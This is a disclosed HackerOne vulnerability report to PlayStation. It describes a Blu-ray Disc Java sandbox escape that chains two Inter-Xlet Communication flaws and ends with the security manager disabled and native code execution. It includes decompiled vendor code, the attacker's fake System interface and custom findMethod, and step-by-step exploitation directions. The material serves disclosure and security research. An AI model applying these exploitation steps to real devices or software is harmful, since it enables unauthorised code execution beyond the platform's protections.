PlayStation · Report #3104356
Blu-ray Disc Java Sandbox Escape via two vulnerabilities
Summary
Blu-ray Disc Java Sandbox Escape
There are two implementations for Ixc (Inter-Xlet Communication) in bd-j. One is org.dvb.io.ixc and the other is com.sun.xlet.ixc. By exploiting two vulnerabilities in each of the implementations, it is possible to disable the security manager and escape the Java sandbox.
Vulnerability 1
The org.dvb.io.ixc implementation uses com.sony.gemstack.org.dvb.io.ixc.IxcProxy which, as described in the first bd-j exploit, allows invoking methods in privileged context. The original vulnerability was mitigated by checking that the method is called from a call stack that includes the com.sony.gemstack.org.dvb.io.ixc.IxcProxy class:
try {
var4 = (Class[])AccessController.doPrivileged(new IxcProxy.GetCallStackAction());
} catch (PrivilegedActionException var9) {
}
if (var4 != null && var4.length > 2) {
for(int var5 = 0; var5 < var4.length; ++var5) {
String var6 = var4[var5].getName();
if (var6.equals("com.sony.gemstack.org.dvb.io.ixc.IxcProxy")) {
String var7 = var4[var5 + 1].getName();
if (!var7.startsWith("org.dvb.io.ixc.") && !var7.startsWith("com.sony.gemstack.org.dvb.io.ixc.")) {
throw new SecurityException("illegal call of invokeMethod");
}
break;
}
}
}
However, this mitigation is not sufficient, as methods from a real proxy class (built by com.sony.gemstack.org.dvb.io.ixc.IxcProxyBuilder) are still allowed to be invoked in privileged context.
An instance can be registered for Ixc if its class implements an interface that extends java.rmi.Remote. Furthermore, methods can only be invoked through Ixc if they throw java.rmi.RemoteException.
Any bootstrap class that fulfills these criteria can as such still exploit the privileged method invocation. The class com.sun.xlet.ixc.IxcRegistryImpl is such a case and it is therefore eligible for Ixc registration via org.dvb.io.ixc.IxcRegistry (by subclassing com.sun.xlet.ixc.IxcRegistryImpl and creating a new instance of the subclass).
Methods in com.sun.xlet.ixc.IxcRegistryImpl contain permission checks which are normall not granted in bd-j:
SecurityManager sm = System.getSecurityManager();
if (sm != null)
sm.checkPermission(new IxcPermission(name, "bind"));
However, by calling bind and lookup through org.dvb.io.ixc on the remote object and invoking the remote methods, it is now possible to bypass the permission checks in com.sun.xlet.ixc.IxcRegistryImpl.
Vulnerability 2
The com.sun.xlet.ixc implementation contains a vulnerability that allows privileged method invocation. Namely, the method com_sun_xlet_execute in com.sun.xlet.ixc.WrappedRemote invokes remoteMethod in a AccessController.doPrivileged block:
AccessController.doPrivileged(
new PrivilegedExceptionAction() {
public Object run() throws RemoteException {
Throwable err = null;
try {
result[0] = remoteMethod.invoke(targetNow, args);
} catch (InvocationTargetException ite) {
err = ite.getTargetException();
} catch (Throwable t) {
err = t;
}
// ...
return null;
}
}
, context);
This method is accessible through the stub class that is generated when registering an object via com.sun.xlet.ixc.IxcClassLoader:
public final class StubClass$$42 extends com.sun.xlet.WrappedRemote
implements UserIF {
private static Method com_sun_xlet_method0;
private static Method com_sun_xlet_method1;
public static void com_sun_xlet_init(Method findMethodMethod)
throws Exception {
// findMethodMethod is Utils.findMethod for the ClassLoader
// where thetarget* Remote object lives.
if (com_sun_xlet_method0 != null) {
return;
}
com_sun_xlet_method0 = (Method) findMethodMethod.invoke(null,
new Object[] { "UserIF", "frob", new Object[] { "Something" }});
com_sun_xlet_method1 = (Method) findMethodMethod.invoke(null,
new Object[] { "UserIF", "glorp",
new Object[] { java.lang.Float.TYPE }});
}
public static void com_sun_xlet_destroy() {
com_sun_xlet_method0 = null;
com_sun_xlet_method1 = null;
}
public StubClass$$42(Remote target, ImportRegistryImpl registry,
RegistryKey key) {
super(target, registry, key);
}
public void frob(Something arg1) throws org.dvb.ixc.RemoteException {
com_sun_xlet_execute(com_sun_xlet_method0,
new Object[] { arg1 });
}
public int glorp(float arg1) throws org.dvb.ixc.RemoteException {
Object r = com_sun_xlet_execute(com_sun_xlet_method1,
new Object[] { new Float(arg1) });
return ((Integer) r).intValue();
}
}
To exploit the privileged method invocation, com_sun_xlet_method0 needs to be set to something interesting.
Consider the following fake System class:
public interface SystemInterface extends java.rmi.Remote {
void setSecurityManager(java.rmi.Remote sm) throws java.rmi.RemoteException;
}
public class SystemImpl implements SystemInterface {
public void setSecurityManager(java.rmi.Remote sm) {}
}
Create an instance of this class and register it via com.sun.xlet.ixc.IxcRegistryImpl (that is achieved by exploiting Vulnerability 1).
On the remote object of the stub class, call com_sun_xlet_destroy to set com_sun_xlet_method0 to null and then call com_sun_xlet_init with a custom findMethod method as argument:
public static Object findMethod(String cName, String mName, Object[] types)
throws NoSuchMethodException {
return System.class.getMethod(
"setSecurityManager", new Class[] {SecurityManager.class});
}
This will set com_sun_xlet_method0 to the real System.setSecurityManager. Now, when calling setSecurityManager(null) on the remote SystemImpl object, the invocation System.SecurityManager(null) will be made instead. This effectively disables the Java sandbox.
Impact
Native code execution in bd-j
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.